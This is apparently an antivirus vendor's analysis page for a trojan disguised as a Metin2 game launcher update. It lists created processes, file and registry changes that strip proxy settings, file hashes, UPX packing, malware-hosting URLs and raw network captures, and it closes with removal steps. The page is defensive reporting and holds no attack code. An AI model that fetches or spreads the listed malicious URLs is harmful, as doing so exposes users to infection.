Trojan.Generic.18490310_2f159d73cf – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

rundll32.exe:2592
Update_v5.67.exe:3196

The Trojan injects its code into the following process(es):

%original file name%.exe:1760

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1760 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_newaccount_up.bmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\filesrd_2015[1].txt (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VAPF0F5P.txt (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_quit_up.bmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFE.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DCE3BDBF5BDD86E2AB5B471CB90709B4_A7704BF276C97AA4D70879F611AA7DB9 (4268 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\metin2start.bmp (6761 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD87B.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\fTmIQU3LxvB[1].htm (3878 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD86B.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7D10.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\fTmIQU3LxvB[2].htm (4766 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD87C.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\filesrw_2015[1].txt (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\Update_v5[1].67 (4377261 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DCE3BDBF5BDD86E2AB5B471CB90709B4_A7704BF276C97AA4D70879F611AA7DB9 (1413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\LVx-xkvaJ0b[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFC.tmp (392 bytes)
C:\filesrw_2015.txt (52 bytes)
C:\Update_v5.67.exe (1166752 bytes)
C:\filesrd_2015.txt (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (3834 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CEC.tmp (1857 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\snowstorm[1].js (8154 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD86A.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\index2[1].htm (1191 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\like[1].htm (8174 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFD.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_startgame_up.bmp (588 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_settings_up.bmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\on[1].png (626 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (1413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFF.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\sdk[1].js (100760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\back19[1].jpg (11769 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_idpwd_up.bmp (196 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFC.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFD.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD86B.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD87B.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7D10.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFE.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD87C.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\Update_v5[1].67 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CEC.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD86A.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFF.tmp (0 bytes)

The process rundll32.exe:2592 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\HFF2F6ER\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\6ZDFKEVH\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\UP31RB6J\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\9XT73B7S\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)

Registry activity

The process %original file name%.exe:1760 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"Size" = "10"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASAPI32]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\AudioCompressionManager\DriverCache\msacm.l3acm]
"cFormatTags" = "2"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASMANCS]
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"InitHits" = "100"

[HKLM\SOFTWARE\Microsoft\AudioCompressionManager\DriverCache\msacm.l3acm]
"aFormatTagCache" = "01 00 00 00 10 00 00 00 55 00 00 00 1E 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"Enable" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASAPI32]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "%original file name%.exe"

[HKLM\SOFTWARE\Microsoft\AudioCompressionManager\DriverCache\msacm.l3acm]
"cFilterTags" = "0"
"fdwSupport" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASMANCS]
"MaxFileSize" = "1048576"

[HKCU\Software\Classes\Local Settings\MuiCache\30\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3C 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1230109207"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASMANCS]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"Factor" = "20"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process Update_v5.67.exe:3196 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASMANCS]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASAPI32]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASMANCS]
"FileTracingMask" = "4294901760"
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASMANCS]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 41 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASAPI32]
"EnableFileTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

Dropped PE files

MD5	File path
e227a4ed4c001b36f412cbe8d684520f	c:\Update_v5.67.exe
e227a4ed4c001b36f412cbe8d684520f	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\Update_v5[1].67

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
rundll32.exe:2592
Update_v5.67.exe:3196
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_newaccount_up.bmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\filesrd_2015[1].txt (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VAPF0F5P.txt (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_quit_up.bmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFE.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DCE3BDBF5BDD86E2AB5B471CB90709B4_A7704BF276C97AA4D70879F611AA7DB9 (4268 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\metin2start.bmp (6761 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD87B.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\fTmIQU3LxvB[1].htm (3878 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD86B.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7D10.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\fTmIQU3LxvB[2].htm (4766 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD87C.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\filesrw_2015[1].txt (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\Update_v5[1].67 (4377261 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DCE3BDBF5BDD86E2AB5B471CB90709B4_A7704BF276C97AA4D70879F611AA7DB9 (1413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\LVx-xkvaJ0b[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFC.tmp (392 bytes)
C:\filesrw_2015.txt (52 bytes)
C:\Update_v5.67.exe (1166752 bytes)
C:\filesrd_2015.txt (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (3834 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CEC.tmp (1857 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\snowstorm[1].js (8154 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD86A.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\index2[1].htm (1191 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\like[1].htm (8174 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFD.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_startgame_up.bmp (588 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_settings_up.bmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\on[1].png (626 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (1413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFF.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\sdk[1].js (100760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\back19[1].jpg (11769 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_idpwd_up.bmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\HFF2F6ER\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\6ZDFKEVH\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\UP31RB6J\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\9XT73B7S\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 3, 3, 0, 0
File Description:
Comments:
Language: English (United Kingdom)

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 3, 3, 0, 0File Description: Comments: Language: English (United Kingdom)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	438272	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	442368	262144	259072	5.49428	a5f4fb3e4432cd1e1aa40a6202ebdbed
.rsrc	704512	16384	14336	4.29037	b0ece96039787b18a244127a184d73b7

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://www.elitemt2pt.com/index2.php	104.24.119.234
hxxp://www.elitemt2pt.com/images/on.png	104.24.119.234
hxxp://www.elitemt2pt.com/snowstorm.js	104.24.119.234
hxxp://www.elitemt2pt.com/images/launcher/back19.jpg	104.24.119.234
hxxp://scontent.xx.fbcdn.net/pt_PT/sdk.js
hxxp://scontent.xx.fbcdn.net/connect/xd_arbiter/r/fTmIQU3LxvB.js?version=42
hxxp://www.elitemt2pt.com/download/filesrd_2015.txt	104.24.119.234
hxxp://www.elitemt2pt.com/download/filesrw_2015.txt	104.24.119.234
hxxp://www.elitemt2pt.com/download/Update_v5.67	104.24.119.234
hxxp://cs9.wac.phicdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8=
hxxp://cs9.wac.phicdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA7LCTmysQFUuJVwx7Irekc=
hxxp://clients.l.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon
hxxp://clients1.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon	173.194.44.65
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA7LCTmysQFUuJVwx7Irekc=	93.184.220.29
hxxp://staticxx.facebook.com/connect/xd_arbiter/r/fTmIQU3LxvB.js?version=42	31.13.93.7
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8=	93.184.220.29
hxxp://connect.facebook.net/pt_PT/sdk.js	31.13.92.14
www.facebook.com	31.13.92.36
static.xx.fbcdn.net	31.13.92.14

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8= HTTP/1.1

Cache-Control: max-age = 511667

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 13 Oct 2016 04:57:34 GMT

If-None-Match: "57ff143e-1d7"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=504138

Content-Type: application/ocsp-response

Date: Fri, 02 Dec 2016 12:58:13 GMT

Etag: "58410a93-1d7"

Expires: Fri, 09 Dec 2016 00:58:13 GMT

Last-Modified: Fri, 02 Dec 2016 05:45:55 GMT

Server: ECS (vie/F2D5)

X-Cache: HIT

Content-Length: 471

0..........0..... .....0......0...0.......>.i...G...&....cd ...20161201220000Z0s0q0I0... ............(..A...B..G@B.X....>.i...G...&....cd ........\..m. B.]......20161201220000Z....20161208220000Z0...*.H..................^Bf~.d}.J.l.e..izz%.H'..ab.;[...<Y..b/.z]..y..a...i.....>....-....T..{..,.....p?t.1..`..z.W..S6.../\2)1.m..G.xY' 5.....].^?.........Z...I.....8.u........>.*....U........:.C....y.....Qh.w.R......Wd.K.D.....V......*.q'M...On...&.A/.b.QV....).`.ng.......HTTP/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=504138..Content-Type: application/ocsp-response..Date: Fri, 02 Dec 2016 12:58:13 GMT..Etag: "58410a93-1d7"..Expires: Fri, 09 Dec 2016 00:58:13 GMT..Last-Modified: Fri, 02 Dec 2016 05:45:55 GMT..Server: ECS (vie/F2D5)..X-Cache: HIT..Content-Length: 471..0..........0..... .....0......0...0.......>.i...G...&....cd ...20161201220000Z0s0q0I0... ............(..A...B..G@B.X....>.i...G...&....cd ........\..m. B.]......20161201220000Z....20161208220000Z0...*.H..................^Bf~.d}.J.l.e..izz%.H'..ab.;[...<Y..b/.z]..y..a...i.....>....-....T..{..,.....p?t.1..`..z.W..S6.../\2)1.m..G.xY' 5.....].^?.........Z...I.....8.u........>.*....U........:.C....y.....Qh.w.R......Wd.K.D.....V......*.q'M...On...&.A/.b.QV....).`.ng...........

<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA7LCTmysQFUuJVwx7Irekc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=502070

Content-Type: application/ocsp-response

Date: Fri, 02 Dec 2016 12:58:19 GMT

Etag: "58410239-1d7"

Expires: Fri, 09 Dec 2016 00:58:19 GMT

Last-Modified: Fri, 02 Dec 2016 05:10:17 GMT

Server: ECS (vie/F2BA)

X-Cache: HIT

Content-Length: 471

0..........0..... .....0......0...0......Qh.....u<..edb...Yr;..20161202044000Z0s0q0I0... .........&....~...B../j..._...Qh.....u<..edb...Yr;.....9...T..p.. zG....20161202044000Z....20161209035500Z0...*.H..............Ld...w........Q.q...).....o\C.2e<.}b.t.J....Ej.....|Uy%.T..d2........$b...It...W....6n..[yL.b.*..S..;c"..1s...<.......#.:#...^t.3..~.#.H.*%...."...R.mE....h.......( ..xmH..V`i.~d......W. ._..X...{...8.<...2....M.:.V....xh{a2.I....X...P%.V..j0d.........G..HTTP/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=502070..Content-Type: application/ocsp-response..Date: Fri, 02 Dec 2016 12:58:19 GMT..Etag: "58410239-1d7"..Expires: Fri, 09 Dec 2016 00:58:19 GMT..Last-Modified: Fri, 02 Dec 2016 05:10:17 GMT..Server: ECS (vie/F2BA)..X-Cache: HIT..Content-Length: 471..0..........0..... .....0......0...0......Qh.....u<..edb...Yr;..20161202044000Z0s0q0I0... .........&....~...B../j..._...Qh.....u<..edb...Yr;.....9...T..p.. zG....20161202044000Z....20161209035500Z0...*.H..............Ld...w........Q.q...).....o\C.2e<.}b.t.J....Ej.....|Uy%.T..d2........$b...It...W....6n..[yL.b.*..S..;c"..1s...<.......#.:#...^t.3..~.#.H.*%...."...R.mE....h.......( ..xmH..V`i.~d......W. ._..X...{...8.<...2....M.:.V....xh{a2.I....X...P%.V..j0d.........G....

<<< skipped >>>

GET /connect/xd_arbiter/r/fTmIQU3LxvB.js?version=42 HTTP/1.1

Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml xml, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://VVV.elitemt2pt.com/index2.php

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: staticxx.facebook.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Fri, 01 Dec 2017 20:16:32 GMT

Cache-Control: public,max-age=31536000,immutable

Content-Type: text/html; charset=utf-8

X-Content-Type-Options: nosniff

X-XSS-Protection: 0

Vary: Accept-Encoding

Content-Encoding: gzip

X-FB-Debug: DBS4cPOO8p3eFhqpS cmKznbm5bDkKnVxCgoZ9pssIuTzq5OcJfgDpbTqAVViaJ/LnFygcIvQXw/Y7k5FRZWUQ==

Date: Fri, 02 Dec 2016 12:58:07 GMT

Connection: keep-alive

Content-Length: 11585

...........}.{.H....W`m.....:vZ..x...}umU.L..j}.$......,....y@.$W.l}....cA....qe$5<{.....||...2.....x..<.#z....I..."M...e.$a...YFfa<....h:.......$..r..i../..]/i..=...t_..v..>.N.......i........=.B.8.JS.m.i.4.G._.n.&.A...".......4.h1.h_. .*M...?8s..Z.i.FKRm.{..c.......c.t.......*...... .,j..`J..s.?......D.m.."}.H./k.9MI..}.....z........V ....T.B.k...b-0ws.........?...G6.d..r.....g....1.........-.e..Dk.c.....].E.k-........y[vo.0oG4.....R...X...p.....G........}<.....<.pl.......`.a..Q.._.m.o%......&.*.&.qNh..$O..v.|.S..|rb.....;6.D..2........M.....w..f...g...x......s.u..p...8.NC....h.v...1....?>.*.^...j.u.k...Vva<U....7.$...ew....V3..l..f... ..u.E...5..i.d.$....%..,T..H..(..Z..SI......x. ..L..dr....yoD.X3...*..y..c........__.W%6.=..@..d..>...l...#y.^.;..fV....06.. .*Bxn...2...GX.......s.A..`.0w.8... h.........4Lu..;\.. :..-G..A.&(.g.....2(6.g...v..K.;..v..4..&...&..:....G...A/...y...-.....{$N.#..q|/,......d.j..........9.g.y....@.R..&..|C..Vk..z...gL..........;.-.*.z.S.......,J....@....S#......Y..@. GE...]["(<D......xFb*.82...:....}Qs.[....T`....... ..v.T.R...2...B..C\%[.Y...he 